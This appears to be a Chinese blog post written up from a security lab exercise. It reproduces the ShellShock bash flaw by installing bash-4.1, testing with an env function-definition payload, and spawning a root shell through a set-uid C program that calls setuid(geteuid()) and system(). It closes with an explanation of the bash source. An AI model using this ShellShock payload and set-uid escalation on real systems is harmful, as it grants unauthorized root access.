Linux四大安全实验二-基于实验楼平台的学习

ShellShock攻击实验

  • 前言
  • 何为ShellShock
  • 搭建环境
  • bash自定义函数
  • 进行复现
  • 深究源码
  • 总结

前言

要理解这个实验可能需要一些set-uid程序的基础,详见我的上一篇博客

何为ShellShock

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
以上参考自学术论文

搭建环境

由于bash4.1以后的版本ShellShock都被堵上了,所以为了复现我们要下载bash-4.1替换现有的bash版本。
首先下载

sudo wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

下载下来后解压并进行配置

tar xf bash-4.1.tar.gz
cd bash-4.1
./configure #这一步过程比较长,请等待一会
make && make install

会将其解压到/usr/local/bin文件夹下
在这里插入图片描述
然后进行链接

rm /bin/bash
ln -s /usr/local/bin/bash /bin/bash

让我们来看看bash版本
Linux四大安全实验二-基于实验楼平台的学习_第1张图片
发现bash版本变成了bash-4.1,再来看看是否有漏洞。env命令可以临时修改PATH命令
现在输入

env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

在这里插入图片描述
如果输出了vulnerable说明有漏洞,现在将sh链接到bash
Linux四大安全实验二-基于实验楼平台的学习_第2张图片

bash自定义函数

bash定义函数可以用foo(),比如如下:

foo() { echo Hello Linux; }

要使用直接输入foo就行
在这里插入图片描述
这个时候bash的环境变量为

KEY=foo
VALUE=() { echo Hello Linux; }

现在来看看bash执行

export foo='() { :; }; echo vulnerble'
bash

在这里插入图片描述
Linux export 命令用于设置或显示环境变量,在这里bash的环境变量键值变为如下

KEY=foo
VALUE=() { :; }; echo vulnerble

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发
有点像之前我做的set-uid实验中的LD_PRELOAD变量,那是事先重编译动态库,替换了本来的动态库,但那里必须是自己用户改变LD_PRELOAD变量才可以,其他用户改变不行。

进行复现

现在写入Hack代码,代码如下

#include<stdio.h>

int main(){
        //这里是让real uid =effective uid,这一句很重要
        setuid(geteuid());
        //printf("%d\n",geteuid());
        //printf("%d\n",getuid());
        //system命令这里是想执行shell命令ls -l
        system("/bin/ls -l");
}

现在将其设为set-uid程序

sudo su
gcc shock.c -o shock
chmod u+s shock
exit

在这里插入图片描述
现在来执行Hack

export foo='() { :; }; echo vulnerable; bash'
./shock

在这里插入图片描述
发现已经获得了root权限即hack成功,这里我们的euid为0(root),因为这个文件所有者和所有组均为root,而uid=1000,因为执行的时候我们是普通用户,执行setuid(geteuid())是让uid与euid相等,也就是都等于0。这样才能利用ShellShock漏洞。
现在来看看去掉关键句**setuid(geteuid())**是否能成功,这里euid=0,uid=1000,当然是不相等的。

#include<stdio.h>

int main(){
        //这里是让real uid =effective uid,这一句很重要
        //setuid(geteuid());
        printf("%d\n",geteuid());
        printf("%d\n",getuid());
        //system命令这里是想执行shell命令ls -l
        system("/bin/ls -l");
}

同样将其设为set-uid程序。然后退出到普通用户,也像之前那样执行。
Linux四大安全实验二-基于实验楼平台的学习_第3张图片
发现这个程序执行了ls -l 命令,没有Hack成功,没有到root权限,环境变量也无效。因为bash没有输出vulnerable。
通过以上可得结论:如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内才有效。

深究源码

为什么real uid必须等于effective uid呢,这个要从bash源码variables.c中得到解答。(以下为省略版)

void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
     /*...*/
     /* 如果有export过的函数, 在这里定义 */
     /* 无法导入在特权模式下(root下)定义的函数 */
     if (privmode == 0 && read_but_dont_execute == 0 &&
           STREQN (() {, string, 4)) {
           [...]
           // 这里是shellshock发生的地方
           // 传递函数定义 + 运行额外的指令
           parse_and_execute (temp_string, name,
                SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }

就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。

总结

这次实验再次复现了ShellShock漏洞,再次ShellShock成功前提是real uid=effective uid,即一个语句setuid(geteuid()),这样改变环境变量才会有效,setuid函数常用于取消特权,在我们的Hack代码中用到了system函数,再次印证了之前实验的说法system+set-uid程序的危险性,当然这个漏洞已经在bash-4.1后消失了,所以为了安全着想,最好升级bash版本。

你可能感兴趣的:(linux,安全,bash)